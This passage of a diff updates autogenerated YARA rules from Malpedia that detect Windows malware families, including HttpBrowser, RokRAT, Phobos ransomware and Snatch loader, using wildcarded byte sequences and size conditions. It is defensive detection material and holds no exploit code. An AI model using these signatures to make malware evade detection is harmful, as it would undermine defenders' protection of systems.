448bc8 488d0ddd7a0100 } - $sequence_4 = { 48c744242000000000 488bce ff15???????? 85c0 741d 41ffc6 } - $sequence_5 = { c705????????01000000 b808000000 486bc000 488d0d19d80100 8b542430 48891401 } - $sequence_6 = { 488d0ddd7a0100 e8???????? eb58 488d0d1f7b0100 eb47 488d1596790100 488bcb } - $sequence_7 = { e8???????? 488d156f870100 488d4c2420 e8???????? } - $sequence_8 = { ff15???????? 85c0 750d 4c8d442450 488bd7 e8???????? 83eb01 } - $sequence_9 = { 488985d0070000 49895b20 488bfa 498973e8 4d896bd8 4d8be8 } + $sequence_0 = { 4156 4157 4883ec30 488b19 498be8 4c8bf2 } + $sequence_1 = { 488bd9 4885c0 7479 488d0d0a520200 483bc1 746d 488b83e0000000 } + $sequence_2 = { 33d2 498bce e8???????? 90 488d8c24080f0000 e8???????? e9???????? } + $sequence_3 = { 0f114a10 4c894110 48c741180f000000 448801 44894220 4883c420 } + $sequence_4 = { 48f7d0 493bc6 0f8694000000 48897c2430 4a8d3c01 4d85f6 746d } + $sequence_5 = { 488b542448 488d4c2448 e8???????? e8???????? e8???????? 0fb6c3 488b4c2468 } + $sequence_6 = { 744c 0fb618 48ffc0 48894710 83fbff 7440 } + $sequence_7 = { 74e8 488bd8 4889442470 493bdf 7410 488d5320 498bce } + $sequence_8 = { 7536 4c8bc7 488d1502700300 660f1f440000 0fb702 663901 } + $sequence_9 = { 418bf0 4c8d0d0f870100 8bda 4c8d05fe860100 } condition: - 7 of them and filesize < 512000 + 7 of them and filesize < 801792 } -rule MALPEDIA_Win_Orpcbackdoor_Auto : FILE +rule MALPEDIA_Win_Httpbrowser_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cd974481-8117-5632-aade-5ef10c39e2d5" + id = "ae4ee866-262a-554a-b946-19e1882a583d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.orpcbackdoor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.orpcbackdoor_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.httpbrowser" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.httpbrowser_auto.yar#L1-L169" license_url = "N/A" - logic_hash = "dd9da45feb732da3d95212bca52a2ed758b546277cb96d095b747d85f59e36f4" + logic_hash = "fe5c658a5d4b7829560ab47b5951aa60c2bf887992bf53e66e96f138e4aa0991" score = 75 quality = 75 tags = "FILE" @@ -107411,32 +107808,38 @@ rule MALPEDIA_Win_Orpcbackdoor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d45a4 50 e8???????? 59 6a0b 59 8bf0 } - $sequence_1 = { 8b4df0 e8???????? 8945d8 33c0 8b4de4 83c101 } - $sequence_2 = { e8???????? 8d8d18ebfeff e8???????? 8d8d48f4feff e8???????? 8d8d30f4feff e8???????? } - $sequence_3 = { 50 8d8de8ecffff e8???????? ff30 8d8d10e9ffff e8???????? } - $sequence_4 = { 50 e8???????? 59 8845d4 8d45d0 50 8d45f8 } - $sequence_5 = { 8b85ccfdffff 8b00 ffb5ccfdffff ff5024 89859cfdffff 8d8d50fdffff e8???????? } - $sequence_6 = { 750a 68???????? e8???????? 8b45f0 833822 750a 68???????? } - $sequence_7 = { 817df8ff0f0000 7649 8b45f0 ff704c 68ff0f0000 6a01 ff7508 } - $sequence_8 = { a1???????? 33c5 8945fc 894df0 8365e800 8b45f0 8b00 } - $sequence_9 = { eb9e 8d8508f8feff 50 8d8da0fbfeff e8???????? 6a01 8d8da8fcfeff } + $sequence_0 = { 751d 68???????? ffb5f0fdffff ff15???????? ffb5f0fdffff ff15???????? 56 } + $sequence_1 = { 6800010000 8d85f8feffff 50 ff15???????? 8d85f8feffff } + $sequence_2 = { 8bec 81ecac020000 a1???????? 33c5 8945fc 57 8d8558fdffff } + $sequence_3 = { eb3c 8b85e4fdffff 8985f4fdffff 3bc6 74ec 53 } + $sequence_4 = { 33db 56 8985e8eeffff 8d85fdeeffff 53 50 8bf9 } + $sequence_5 = { 6a04 8d85a0feffff 50 6a13 } + $sequence_6 = { ffd6 83bd6453ffff14 7552 8d85c855ffff 50 } + $sequence_7 = { 8d85fefdffff 50 e8???????? ffb5f4edffff } + $sequence_8 = { 8b7508 8d4dec 6a00 8d55fc 51 } + $sequence_9 = { 33c0 8dbdb2fcffff 668995b0fcffff f3ab } + $sequence_10 = { 56 e8???????? 8bf8 83c408 85ff 7422 66891f } + $sequence_11 = { 5d 9d 5d 8b4dfc 51 } + $sequence_12 = { 50 8b4508 51 50 52 } + $sequence_13 = { e8???????? 83c410 8b4d08 6a00 68???????? } + $sequence_14 = { ff15???????? b940000000 33c0 8dbdfcfeffff } + $sequence_15 = { 8d741202 56 e8???????? 8bd0 83c404 85d2 8955f8 } condition: - 7 of them and filesize < 918528 + 7 of them and filesize < 188416 } -rule MALPEDIA_Win_Laplas_Shell_Auto : FILE +rule MALPEDIA_Win_Rustonotto_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9c75f717-3a83-5505-a36a-1bce6df358ef" + id = "c96a83b8-aab4-55d7-a6bc-2f4705409146" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.laplas_shell" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.laplas_shell_auto.yar#L1-L116" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rustonotto" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rustonotto_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "651ff3d6bd8dabc0c16e2a61ceeb9a40f1d04f00168f1b0feb2a3661a16c588d" + logic_hash = "1a2f2499fd9c35d46eb281cf2189d5af496ab41ea2f40681381bfb3d9321a241" score = 75 quality = 75 tags = "FILE" @@ -107450,32 +107853,32 @@ rule MALPEDIA_Win_Laplas_Shell_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0fb6825c324000 308618504000 8b4f10 8b5f14 0fb69618504000 3bcb } - $sequence_1 = { f7f1 0fb6825c324000 308618504000 8b4f10 8b5f14 0fb69618504000 3bcb } - $sequence_2 = { 8bc8 85c9 7504 ffd3 } - $sequence_3 = { c745fcffffffff 8b95ecfbffff 8b1d???????? 8b3d???????? } - $sequence_4 = { 89b594e6ffff 89b590e6ffff ff15???????? 85c0 7555 56 } - $sequence_5 = { 55 8bec 6aff 68???????? 64a100000000 50 b8ac190000 } - $sequence_6 = { 668985cafbffff 8d85c8fbffff 6a10 50 } - $sequence_7 = { 0f57c0 c78558e6ffff44000000 6a00 50 } - $sequence_8 = { ba???????? 50 8b0d???????? e8???????? } - $sequence_9 = { c745fc00000000 83bdecfbffff08 8d85d8fbffff 51 0f4385d8fbffff 8d8d58e6ffff } + $sequence_0 = { e8???????? 4889fa 84c0 0f84befdffff 488b0d???????? 488b4138 4885c0 } + $sequence_1 = { e8???????? 4983c4f9 488d8528010000 0f1f4000 4c8b30 450fb7aed2030000 498d742401 } + $sequence_2 = { eb02 31c0 66897d08 6689750a 488945f8 488d05a4751800 48894500 } + $sequence_3 = { eb0f b908000000 ba18000000 e8???????? 0f0b 90 4889542410 } + $sequence_4 = { 84c0 0f85d8feffff c6470101 e9???????? c685c700000000 e8???????? 84c0 } + $sequence_5 = { 740f 488d4d60 488b5550 4c8b4558 ff5020 90 4883c430 } + $sequence_6 = { e8???????? 0fb64520 3c03 751f 4183bf1801000001 0f858d000000 66c7060305 } + $sequence_7 = { e8???????? 8b8580040000 83f802 7432 83f803 0f84ba1d0000 a801 } + $sequence_8 = { 747b 8b514c 448b8990000000 4101d1 b801000000 7058 0f88f4010000 } + $sequence_9 = { c6858f04000001 c6858e04000000 8b8578040000 88858d040000 c6858c04000001 c6858b04000001 488d0d2f2a1000 } condition: - 7 of them and filesize < 59392 + 7 of them and filesize < 5989376 } -rule MALPEDIA_Win_Zedhou_Auto : FILE +rule MALPEDIA_Win_Reaver_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "671058cb-44d0-5a2d-a903-c2aaa9e6edab" + id = "7725038c-885d-586e-9f95-5e06e196979a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zedhou" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zedhou_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.reaver" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.reaver_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "e746dfbb5d54339f68149693ef0514b3aa092790791cb02e6ab7c27b77b04068" + logic_hash = "83dafe6f8435f2ac84b6d9a74f3f9ba4ae0b3ddc0578ba5a08e90d4a03423ef1" score = 75 quality = 75 tags = "FILE" @@ -107489,32 +107892,32 @@ rule MALPEDIA_Win_Zedhou_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 03c8 8d954cfdffff 51 8d8550fcffff 52 50 68???????? } - $sequence_1 = { 50 0f80d8000000 51 52 e8???????? ffd7 8b85d4feffff } - $sequence_2 = { 68???????? ff15???????? 8bd0 8d8d70ffffff ff15???????? 50 8d956cffffff } - $sequence_3 = { 8b55a0 52 ff15???????? 8bd0 8d4d98 ff15???????? 50 } - $sequence_4 = { 6a00 51 50 ff35???????? ff15???????? 85c0 0f8c0b1a0000 } - $sequence_5 = { 8b04c5fc201822 8b7824 8b450c 85ff 0f847c340000 8b08 3b0f } - $sequence_6 = { ebe5 55 8bec 83ec18 53 56 57 } - $sequence_7 = { 8bcf e8???????? 8bf0 8bcb ff760c ff7608 e8???????? } - $sequence_8 = { 8d45d4 50 6a02 ff15???????? 83c40c 8d4dc0 51 } - $sequence_9 = { ffb610060000 81c610060000 8bc8 e8???????? ff36 832700 } + $sequence_0 = { 3d14050000 7504 33c0 c9 c3 } + $sequence_1 = { 7453 8d45f4 50 ff7508 6a00 ff15???????? } + $sequence_2 = { ff15???????? 85c0 7440 8b45f4 6a00 } + $sequence_3 = { ff15???????? 85c0 7453 8d45f4 } + $sequence_4 = { 50 ff15???????? 85c0 7453 8d45f4 50 ff7508 } + $sequence_5 = { ff15???????? 85c0 740d ff15???????? 3d14050000 7504 33c0 } + $sequence_6 = { 85c0 7453 8d45f4 50 ff7508 } + $sequence_7 = { 50 ff7508 6a00 ff15???????? 85c0 7440 } + $sequence_8 = { 6a00 ff15???????? 85c0 7440 8b45f4 6a00 } + $sequence_9 = { 50 c6467430 e8???????? 83c634 } condition: - 7 of them and filesize < 499712 + 7 of them and filesize < 106496 } -rule MALPEDIA_Win_Moontag_Auto : FILE +rule MALPEDIA_Win_Crylocker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cd77d4b0-0d98-5f5e-a57c-397ee34a65ee" + id = "8c49832e-3a15-5c26-a16b-f08cf4de197b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moontag" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.moontag_auto.yar#L1-L168" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crylocker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crylocker_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "8b060f50d5b5253ee18a9ffafa5845b2d3ee94dd99bd63bfd885c3444be1c8ca" + logic_hash = "9984a5545190dc600307a66e2e0bae93c274e609548786d31df4138b67fc5f5d" score = 75 quality = 75 tags = "FILE" @@ -107528,38 +107931,32 @@ rule MALPEDIA_Win_Moontag_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4833c4 4889842430040000 488bd9 498d7b10 e8???????? 48897c2428 } - $sequence_1 = { 4885d2 480f4415???????? 483b15???????? 480f4405???????? 488905???????? c3 4885c9 } - $sequence_2 = { 4881ec60010000 488b05???????? 4833c4 48894550 488d4c2440 } - $sequence_3 = { 4d8be6 482bea 4d2be7 4d3bf7 7343 } - $sequence_4 = { 48c74424680f000000 c644245000 483bd9 0f82c0010000 482bd9 49c7c0ffffffff 493bd8 } - $sequence_5 = { 4883c420 5f c3 488bca e8???????? 488bf8 4885c0 } - $sequence_6 = { 488b36 4885f6 758a e9???????? 48837e3800 } - $sequence_7 = { c3 48833a00 7508 488b4208 49894008 } - $sequence_8 = { 03c1 68???????? 50 ffd3 83c40c 85c0 } - $sequence_9 = { 033d???????? 837d8400 0f4e3d???????? 83c734 } - $sequence_10 = { 03c1 3bf8 0f42f8 33c9 8bc7 83c001 56 } - $sequence_11 = { 014e08 b801000000 5f 5e 5b 8b4c2458 } - $sequence_12 = { 03c1 50 898570ecffff 8d8574ecffff } - $sequence_13 = { 03c2 3bf8 0f838f010000 8b0d???????? } - $sequence_14 = { 03c1 8b0d???????? a3???????? 3bc1 } - $sequence_15 = { 03421c 03c6 3bc8 760c } + $sequence_0 = { e8???????? 8d542408 68c5090000 52 e8???????? 8d442410 68???????? } + $sequence_1 = { ff15???????? 6afe e8???????? 83c404 5f 5e } + $sequence_2 = { 56 8da42400000000 8b44241c 8bf7 } + $sequence_3 = { 53 33ff ff15???????? 8bf0 3bf3 762e 3bfb } + $sequence_4 = { 8b7c242c 8b7704 50 e8???????? 8b4c2440 8bd8 51 } + $sequence_5 = { 8d442430 50 e8???????? 8d4c2434 68???????? 51 e8???????? } + $sequence_6 = { 50 50 8b44244c 50 6a00 6a00 56 } + $sequence_7 = { 50 894608 e8???????? 83c414 eb76 } + $sequence_8 = { 81c4cc000000 c3 5f 5e 5d b8fdffffff 5b } + $sequence_9 = { e8???????? 8d4c2408 6aff 51 e8???????? 8d542410 6a02 } condition: - 7 of them and filesize < 203776 + 7 of them and filesize < 139264 } -rule MALPEDIA_Win_Artfulpie_Auto : FILE +rule MALPEDIA_Win_Slave_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "de5450b6-b95f-5bac-b0a9-b9c5fd386b22" + id = "9b0051d5-869a-52df-9d63-5531f0ea1bc8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.artfulpie" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.artfulpie_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slave" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.slave_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "6beac333cee4f67e44a4d36d19350c582ab6bfc4c8f39d10f4335fab88933e77" + logic_hash = "523de3cfcbf6b6abf4a7273f5bce657ee9b1b72d0e892b1b3170df330ecf9a83" score = 75 quality = 75 tags = "FILE" @@ -107573,32 +107970,32 @@ rule MALPEDIA_Win_Artfulpie_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 85c0 0f8527010000 0f1f4000 8b430c 85c0 0f8418010000 } - $sequence_1 = { c745fc00000000 85c0 7406 50 e8???????? 8b4df4 b801000000 } - $sequence_2 = { 8db8b44b4100 57 ff15???????? ff0d???????? 83ef18 } - $sequence_3 = { 894de0 8b049d984e4100 0fb6440828 83e001 } - $sequence_4 = { 50 ffd2 85c0 7477 8b46fc 57 } - $sequence_5 = { c745ec00000000 50 8d45ec c745e404000000 50 } - $sequence_6 = { 85c0 0f84af000000 6a04 6800100000 } - $sequence_7 = { 8b3e 8b4630 48 f7d0 } - $sequence_8 = { 6af6 ff15???????? 8b04bd984e4100 834c0318ff 33c0 } - $sequence_9 = { f00fc118 4b 7515 8b45fc 817848f8444100 7409 } + $sequence_0 = { e9???????? 837df400 0f84f7250000 b80a000000 66894706 8a4704 24c3 } + $sequence_1 = { 0c10 888694030000 eb8d 817b0800000040 0f85ea020000 8a9694030000 8a5c240e } + $sequence_2 = { 813e6f563412 7406 5e 33c0 5b 5d c3 } + $sequence_3 = { 833d????????00 c705????????00000000 740a b9???????? e8???????? 833d????????00 c705????????00000000 } + $sequence_4 = { 3d00000001 0f8456030000 3d00000002 0f859a240000 } + $sequence_5 = { 837f7401 894de8 7620 83bf8400000000 7417 8b8780000000 0345f4 } + $sequence_6 = { 8bc8 83c408 3bd9 750b } + $sequence_7 = { 83c40c 028e08010000 888e08010000 80f9ff 730c 0fb6c1 } + $sequence_8 = { 7307 0fb6c2 2bc8 eb02 33c9 0fb6c2 68???????? } + $sequence_9 = { ff15???????? 5f 5e c3 837e1800 7445 90 } condition: - 7 of them and filesize < 204800 + 7 of them and filesize < 532480 } -rule MALPEDIA_Win_Isspace_Auto : FILE +rule MALPEDIA_Win_Phobos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e2eec2f1-7baf-5dcc-a6aa-a2a11e65c5fc" + id = "6caf5a5b-e4a8-5ad7-ac96-0781f61cb33b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.isspace" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.isspace_auto.yar#L1-L103" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phobos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.phobos_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "c1331a8a4f2f7f8169497cb9d4ae59c19406daa94f505a8ed56551a7b1886f8a" + logic_hash = "0813fe2e377724ce620e3c3620ed6e847086eab6c4f49515372897489c1a64d4" score = 75 quality = 75 tags = "FILE" @@ -107612,30 +108009,32 @@ rule MALPEDIA_Win_Isspace_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a23 eb04 6a00 6a2b 68???????? 6a00 } - $sequence_1 = { 6800200300 a3???????? e8???????? 6800200300 } - $sequence_2 = { 33c5 50 8d45f0 64a300000000 8965e8 c745fc00000000 ff15???????? } - $sequence_3 = { eb19 6a00 6a1c eb0a 6a00 6a23 } - $sequence_4 = { 6a00 68???????? 68???????? 68???????? 53 ff15???????? 8bf0 } - $sequence_5 = { 50 50 6a03 6a02 ff15???????? 894604 } - $sequence_6 = { e8???????? 6800010000 8d8600010000 6a00 } - $sequence_7 = { 6a00 6a00 6800010000 53 6aff } + $sequence_0 = { 4f ff75fc e8???????? 59 8bc7 5f 5e } + $sequence_1 = { 6a0c 5b 53 8d442430 56 50 e8???????? } + $sequence_2 = { 7446 8b06 85c0 7440 8b0f 894e04 8b4f04 } + $sequence_3 = { 33db 56 57 33c0 895c2428 8d7c242c ab } + $sequence_4 = { 8bc6 8d3c08 8d8fb2000000 894df4 83c118 2bc8 81c100000400 } + $sequence_5 = { 5b c9 c3 56 6a1c } + $sequence_6 = { 83c002 eb02 8bc7 8bc8 56 8d7102 } + $sequence_7 = { 68ff000000 ff15???????? cc 55 8bec 8b4508 a3???????? } + $sequence_8 = { 0f8452010000 3bf7 7420 8d44243c 50 ff15???????? 50 } + $sequence_9 = { ff7708 8d442430 ff7704 ff37 50 56 e8???????? } condition: - 7 of them and filesize < 434176 + 7 of them and filesize < 139264 } -rule MALPEDIA_Win_Salgorea_Auto : FILE +rule MALPEDIA_Win_Carrotbat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "24c723a2-add3-5c98-ac68-d74df04ec748" + id = "9e3c15b1-53c0-536f-b748-485d961b1513" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.salgorea" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.salgorea_auto.yar#L1-L164" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.carrotbat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.carrotbat_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "269f1f65813d46929a9206777195f8973f6aec01fe1e29b4790465e302c7f726" + logic_hash = "bfaec56400fafcaf85efd0fb6650770c8db082e08e8b7c0c5f56e8a5a426d6b1" score = 75 quality = 75 tags = "FILE" @@ -107649,38 +108048,32 @@ rule MALPEDIA_Win_Salgorea_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 893424 57 a1???????? 33c5 50 } - $sequence_1 = { 81e1ab000000 8b4c2414 f7d3 8b5c2418 53 9d } - $sequence_2 = { 66b9ad00 66f7e1 2bcb 80ef1f 59 } - $sequence_3 = { e8???????? 8b4510 2bfb 3bc7 0f8302000000 8bf8 3bf1 } - $sequence_4 = { 53 52 8d9c10f47e0000 6699 66c1e303 f6d1 } - $sequence_5 = { 8d6424fc 8d6424d0 9c 51 f6d1 9c } - $sequence_6 = { 80e6ee f8 f6d1 52 40 f7d3 8b5c2404 } - $sequence_7 = { 41 6681c1db00 8b4c2410 66c1e804 8b44240c } - $sequence_8 = { a1???????? 8945cc 8d45cc 3930 } - $sequence_9 = { 8d943a9979825a 8b7df4 c1c61e 33fe } - $sequence_10 = { 8d9432dcbc1b8f 8b75fc 0b75f8 8b7dfc } - $sequence_11 = { 8d943a9979825a 8b7df0 337dfc 8bf2 } - $sequence_12 = { 8d942498030000 89542428 8b531c 894c2434 } - $sequence_13 = { 8d942490000000 e8???????? 8b03 ff7030 } - $sequence_14 = { 8d9432a1ebd96e 8b75e0 3375cc 8955ec } - $sequence_15 = { 8d942490000000 e8???????? 85c0 7403 83cfff 8bc7 85ff } + $sequence_0 = { ff742424 c22800 c744241402000000 66f7d7 9c 89742414 0fcf } + $sequence_1 = { 0f84b9000000 8975e0 8b04bd20ee4000 0500080000 3bf0 0f8396000000 } + $sequence_2 = { 0f88d7feffff d2df 660fa5cf 5f 660fbaf30b 6681c61cd0 6681cef437 } + $sequence_3 = { e8???????? 33cd ff3424 0fbed9 8b5c240c 9c c60424ba } + $sequence_4 = { 8bff 56 57 33f6 bf???????? 833cf5a4d5400001 } + $sequence_5 = { 7353 8bc1 c1f805 8bf1 83e61f 8d3c8520ee4000 } + $sequence_6 = { 7524 a1???????? a3???????? a1???????? c705????????46444000 8935???????? a3???????? } + $sequence_7 = { 80e17f 3008 8b06 8bc8 c1f905 8b0c8d20ee4000 83e01f } + $sequence_8 = { 3b0d???????? 7353 8bc1 c1f805 8bf1 83e61f 8d3c8520ee4000 } + $sequence_9 = { 5f 03d1 5e c6840201ed400000 5b 5d } condition: - 7 of them and filesize < 2007040 + 7 of them and filesize < 360448 } -rule MALPEDIA_Win_Winos_Auto : FILE +rule MALPEDIA_Win_Rokrat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ab76e8bd-21bc-5539-b1fb-f47fdb274949" + id = "72ccb458-56ca-5321-9a37-7df4cd9fbcb3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.winos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.winos_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rokrat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rokrat_auto.yar#L1-L158" license_url = "N/A" - logic_hash = "e8eeb814a2c5b4ab9f10ee5708c1f0bfd3c156bc0fa60e8429c570c21e8f598c" + logic_hash = "5cd57f30b8bc2958324b2df203589daea09f2ea7985ac5d6acd0baa6db2468f2" score = 75 quality = 75 tags = "FILE" @@ -107694,32 +108087,38 @@ rule MALPEDIA_Win_Winos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 66890c70 5e 8bc7 5f 5b 5d c20800 } - $sequence_1 = { eb0d 8d95bcfbffff 52 ff15???????? 8b85bcfbffff b906000000 663bc8 } - $sequence_2 = { 8d8de0fcffff 57 51 e8???????? 8b1d???????? } - $sequence_3 = { 83c40c 899c2460040000 33db 8d4c243c 51 89bc246c040000 } - $sequence_4 = { 2bd6 c1fa02 899530feffff 3bdf 7563 8bc3 } - $sequence_5 = { 8d4db8 50 8b853cffffff 50 } - $sequence_6 = { 8b442418 53 52 6a03 6a00 56 } - $sequence_7 = { c70009000000 e8???????? ebda 8bc3 c1f805 8d3c8540310310 8bf3 } - $sequence_8 = { 5d c3 55 8bec 8b4e10 } - $sequence_9 = { db45cc d84dc8 e8???????? 8b7dbc 8bf0 8945c4 6a4c } + $sequence_0 = { 50 e8???????? 6a04 33c0 } + $sequence_1 = { 668945c0 e8???????? c645fc03 8b45bc } + $sequence_2 = { 50 e8???????? 6a10 33c0 } + $sequence_3 = { 50 e8???????? 8d8e0c010000 8d4550 3bc8 } + $sequence_4 = { 0fb7c1 50 0fb74208 c1e910 51 50 0fb74212 } + $sequence_5 = { 50 ff15???????? e8???????? 40 } + $sequence_6 = { 50 e8???????? 6a18 33c0 } + $sequence_7 = { 68???????? e8???????? 837e1408 7204 8b06 eb02 8bc6 } + $sequence_8 = { 50 e8???????? 8d8edc000000 8d4520 } + $sequence_9 = { ff15???????? 50 e8???????? 59 6a64 } + $sequence_10 = { 897dfc e8???????? 68???????? 8d4dd8 e8???????? } + $sequence_11 = { 89442410 7e34 8d9b00000000 56 } + $sequence_12 = { 89442410 807c244400 7558 85db 7454 68d3010000 } + $sequence_13 = { 89442410 80f925 0f859d030000 3808 } + $sequence_14 = { 89442410 7c7c 8b7758 8b9f8c000000 81c630010000 } + $sequence_15 = { 89442410 7e19 68110b0000 68???????? } condition: - 7 of them and filesize < 457728 + 7 of them and filesize < 2932736 } -rule MALPEDIA_Win_Former_First_Rat_Auto : FILE +rule MALPEDIA_Win_Snatch_Loader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b32c8876-3cb4-5a83-afbc-8273b6710cbb" + id = "e84bc4db-d72c-55c7-8127-5b70bf9d85b1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.former_first_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.former_first_rat_auto.yar#L1-L170" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snatch_loader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.snatch_loader_auto.yar#L1-L176" license_url = "N/A" - logic_hash = "993e92398130145e5edd81dd2e97cc96804b675ca01f408cd00440763a5fee35" + logic_hash = "71f941ef8f08c99c9d42e26dfa505e9884dda28bb1bd06c93b12ee312c92bc07" score = 75 quality = 75 tags = "FILE" @@ -107733,38 +108132,38 @@ rule MALPEDIA_Win_Former_First_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 898dd4feffff c785e0feffff02000000 899decfeffff 899d04ffffff 8d5001 8a08 40 } - $sequence_1 = { 53 68???????? e8???????? 83c408 eb08 8bd8 899d08efffff } - $sequence_2 = { e8???????? 83c404 c744242800100000 6800100000 e8???????? 83c404 89442438 } - $sequence_3 = { 7505 e8???????? 8b15???????? a1???????? 8b0d???????? 8995c8eeffff 8b15???????? } - $sequence_4 = { 83c40c 33c0 6803010000 8d8df8feffff } - $sequence_5 = { c785d8feffff00000100 c7850cffffff00000000 89b5f8feffff 0f8455010000 8da42400000000 a1???????? 8b9508ffffff } - $sequence_6 = { c745e400040000 837d1400 8b4ddc 8d55e4 8d0433 7415 6810040000 } - $sequence_7 = { 83c404 89442468 3bc3 750d 68???????? } - $sequence_8 = { 413bc6 0f848d010000 488d542440 488d4c2450 ff15???????? } - $sequence_9 = { 488d8c24a0000000 e8???????? 4d85f6 751d } - $sequence_10 = { e8???????? eb7a 4983f8fe 7605 } - $sequence_11 = { 4885f6 7456 488b4b08 4885c9 7444 } - $sequence_12 = { 48c783900000000f000000 c6437800 48837b6010 7209 488b4b48 } - $sequence_13 = { 48894720 488d0498 48894728 b001 488b9c24a0000000 } - $sequence_14 = { 488d542420 e8???????? 90 48837c244008 7275 } - $sequence_15 = { 488d942490020000 488d4c2440 e8???????? 90 } + $sequence_0 = { 895dfc e8???????? 8bf0 85f6 744b 33c0 66894606 } + $sequence_1 = { eb0e 8d4dfc 51 8d4df4 51 56 } + $sequence_2 = { 7505 8b45fc eb0d 53 53 } + $sequence_3 = { 57 8bfa 85c0 751d } + $sequence_4 = { 8b7dfc eb04 ffd0 8bf8 a1???????? } + $sequence_5 = { 8bc8 e8???????? a3???????? 85c0 7403 57 } + $sequence_6 = { 8bf8 a1???????? 85c0 7522 6a02 59 } + $sequence_7 = { 32c3 43 8802 42 } + $sequence_8 = { 76d8 33c0 48 5a 59 